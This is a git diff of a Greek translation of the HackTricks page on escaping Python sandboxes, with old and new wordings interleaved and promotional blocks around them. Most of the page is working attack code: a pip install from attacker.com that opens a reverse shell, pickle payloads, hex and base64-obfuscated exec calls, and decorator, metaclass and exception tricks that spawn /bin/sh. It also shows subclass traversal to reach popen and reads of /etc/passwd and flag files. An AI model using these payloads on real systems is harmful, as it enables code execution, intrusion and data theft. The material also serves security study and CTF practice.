* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,33 @@
# Bypass Python sandboxes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Ομάδα Ασφαλείας Try Hard**
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Αυτά είναι μερικά κόλπα για την παράκαμψη των προστασιών αμμοθολογίων Python και την εκτέλεση αυθαίρετων εντολών.
Αυτές είναι μερικές τεχνικές για να παρακάμψετε τις προστασίες του python sandbox και να εκτελέσετε αυθαίρετες εντολές.
## Βιβλιοθήκες Εκτέλεσης Εντολών
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε κώδικα απευθείας με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε άμεσα κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
```python
os.system("ls")
os.popen("ls").read()
@ -60,25 +60,23 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Να θυμάστε ότι οι συναρτήσεις _**open**_ και _**read**_ μπορούν να είναι χρήσιμες για το **διάβασμα αρχείων** μέσα στο python sandbox και για το **γράψιμο κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox.
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στην python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** την sandbox.
{% hint style="danger" %}
Η συνάρτηση **Python2 input()** επιτρέπει την εκτέλεση κώδικα Python πριν το πρόγραμμα καταρρεύσει.
Η συνάρτηση **input()** της Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει.
{% endhint %}
Το Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα κατάλογο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει τα modules ο Python): `python3 -c 'import sys; print(sys.path)'`
Η Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει η python τα modules): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
![](<../../../.gitbook/assets/image (559).png>)
## Παράκαμψη του pickle sandbox με τα προεγκατεστημένα πακέτα Python
## Παράκαμψη της sandbox του pickle με τα προεγκατεστημένα πακέτα python
### Προεγκατεστημένα πακέτα
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον Python **να εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
Μπορείτε να βρείτε μια **λίστα με τα προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον python να **εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\
Για παράδειγμα, το παρακάτω pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -91,36 +89,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το pickle, ελέγξτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Πακέτο Pip
Κόλπος κοινοποιημένος από τον **@isHaacK**
Αν έχετε πρόσβαση στο `pip` ή στο `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να λάβετε αντίστροφη κέλυφος καλώντας:
Τέχνασμα που μοιράστηκε ο **@isHaacK**
Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να **αποσυμπιέσετε, να αλλάξετε το `setup.py` και να βάλετε τη διεύθυνση IP σας για το reverse shell**:
Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει **να το αποσυμπιέσετε, να αλλάξετε το `setup.py`, και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κελύφωμα**:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %}
Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, δημιουργήθηκε ειδικά έτσι ώστε όταν βγείτε από το αντίστροφο κελύφωμα η υπόλοιπη εγκατάσταση θα αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο Python εγκατεστημένο στον διακομιστή** όταν φύγετε.
Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει σχεδιαστεί ειδικά ώστε όταν βγείτε από το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε.
{% endhint %}
## Αξιολόγηση κώδικα Python
## Eval-ing python code
{% hint style="warning" %}
Σημειώστε ότι το exec επιτρέπει πολλαπλές συμβολοσειρές και ";", αλλά το eval όχι (ελέγξτε τον τελεστή walrus)
Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus)
{% endhint %}
Αν απαγορεύονται συγκεκριμένοι χαρακτήρες, μπορείτε να χρησιμοποιήσετε την αναπαράσταση **hex/octal/B64** για να **παρακάμψετε** τον περιορισμό:
Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -141,9 +135,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Άλλες βιβλιοθήκες που επιτρέπουν την αξιολόγηση κώδικα Python
### Άλλες βιβλιοθήκες που επιτρέπουν την εκτέλεση κώδικα python
```python
#Pandas
import pandas as pd
@ -157,9 +149,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Τελεστές και σύντομα κόλπα
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -168,11 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassing protections through encodings (UTF-7)
## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
Στο [**συγκεκριμένο άρθρο**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) χρησιμοποιείται το UTF-7 για τη φόρτωση και εκτέλεση αυθαίρετου κώδικα Python μέσα σε ένα φαινομενικό χώρο ασφαλείας:
Στο [**αυτό το άρθρο**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) χρησιμοποιείται το UFT-7 για να φορτώσει και να εκτελέσει αυθαίρετο python κώδικα μέσα σε μια φαινομενική sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -183,15 +171,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
## Εκτέλεση Python χωρίς κλήσεις
Αν βρίσκεστε μέσα σε ένα φυλακισμένο περιβάλλον Python που **δεν σάς επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα κάποιοι τρόποι για να **εκτελέσετε αυθαίρετες λειτουργίες, κώδικα** και **εντολές**.
Εάν βρίσκεστε μέσα σε μια φυλακή python που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
### RCE με [διακοσμητές](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -213,15 +199,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE δημιουργία αντικειμένων και υπερφόρτωση
### RCE δημιουργώντας αντικείμενα και υπερφόρτωση
Αν μπορείτε να **δηλώσετε μια κλάση** και **να δημιουργήσετε ένα αντικείμενο** από αυτή την κλάση, μπορείτε **να γράψετε/υπερφορτώσετε διαφορετικές μεθόδους** που μπορούν να **ενεργοποιηθούν** **χωρίς** την **ανάγκη να κληθούν απευθείας**.
Αν μπορείτε να **δηλώσετε μια κλάση** και να **δημιουργήσετε ένα αντικείμενο** αυτής της κλάσης, θα μπορούσατε να **γράψετε/υπεργράψετε διάφορες μεθόδους** που μπορούν να **ενεργοποιηθούν** **χωρίς** **να χρειάζεται να τις καλέσετε άμεσα**.
#### RCE με προσαρμοσμένες κλάσεις
Μπορείτε να τροποποιήσετε μερικές **μεθόδους κλάσης** (_με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή δημιουργώντας μια νέα κλάση_) για να τις κάνετε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να κληθούν απευθείας.
Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -271,11 +255,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε ένα παράδειγμα μιας κλάσης, χωρίς να καλέσουμε τον κατασκευαστή** απευθείας, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -290,11 +272,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Δημιουργία αντικειμένων με εξαιρέσεις
Όταν **ενεργοποιείται μια εξαίρεση**, δημιουργείται ένα αντικείμενο της **Εξαίρεσης** χωρίς να χρειάζεται να καλέσετε τον κατασκευαστή απευθείας (ένα κόλπο από τον [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Εξαίρεσης** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -314,9 +294,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
```
### Περισσότερες RCE
### Περισσότερο RCE
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
@ -338,9 +316,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Διαβάστε το αρχείο με τη βοήθεια των builtins & την άδεια χρήσης
### Διαβάστε το αρχείο με βοήθεια και άδεια από τα builtins
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -349,28 +325,24 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```
## Builtins
## Ενσωματωμένες Συναρτήσεις
* [**Ενσωματωμένες συναρτήσεις της Python 2**](https://docs.python.org/2/library/functions.html)
* [**Ενσωματωμένες συναρτήσεις της Python 3**](https://docs.python.org/3/library/functions.html)
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι θα μπορούσατε επίσης να χρησιμοποιήσετε εδώ και άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
* [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Αν μπορείτε να αποκτήσετε πρόσβαση στο **`__builtins__`** αντικείμενο μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### Χωρίς Ενσωματωμένες Συναρτήσεις
Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**.
Όταν δεν έχετε το `__builtins__` δεν θα μπορείτε να εισάγετε τίποτα ούτε να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι γενικές συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν φορτώνονται**.\
Ωστόσο, **από προεπιλογή το Python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να επιτευχθεί ακόμα και **εκτέλεση αυθαίρετου κώδικα**.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πως να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που φορτώνονται για να **έχετε πρόσβαση** σε **επικίνδυνες** **λειτουργίες** μέσα σε αυτά.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσπελάσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
**Python2**
```python
#Try to reload __builtins__
reload(__builtins__)
@ -391,11 +363,7 @@ import __builtin__
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
#### Python3
#### Πυθών 3
```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
@ -414,19 +382,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **σημεία** όπου μπορείτε να βρείτε τα **builtins**.
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **θέσεις** όπου μπορείτε να βρείτε τα **builtins**.
#### Python2 και Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Ενσωματωμένα φορτία
### Builtins payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -434,11 +398,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals and locals
## Παγκόσμιες και τοπικές μεταβλητές
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε ποιες μεταβλητές μπορείτε να έχετε πρόσβαση.
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -462,15 +424,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **θέσεις** όπου μπορείτε να βρείτε τα **globals**.
## Ανακάλυψη Αυθαίρετης Εκτέλεσης
Εδώ θέλω να εξηγήσω πώς μπορείτε εύκολα να ανακαλύψετε **περισσότερες επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνετε πιο αξιόπιστες εκμεταλλεύσεις.
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστους εκμεταλλευτές.
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να **έχετε πρόσβαση στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό επιτεύχθηκε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()`, αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η ικανότητα να **προσεγγίζετε τις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -498,24 +460,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί
### Εντοπισμός επικίνδυνων βιβλιοθηκών που φορτώνονται
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **ενότητες που έχουν φορτώσει που έχουν εισάγει το sys μέσα σε αυτές**:
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **εισαγάγετε αυθαίρετες βιβλιοθήκες**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και περιέχουν την εισαγωγή του sys μέσα τους**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
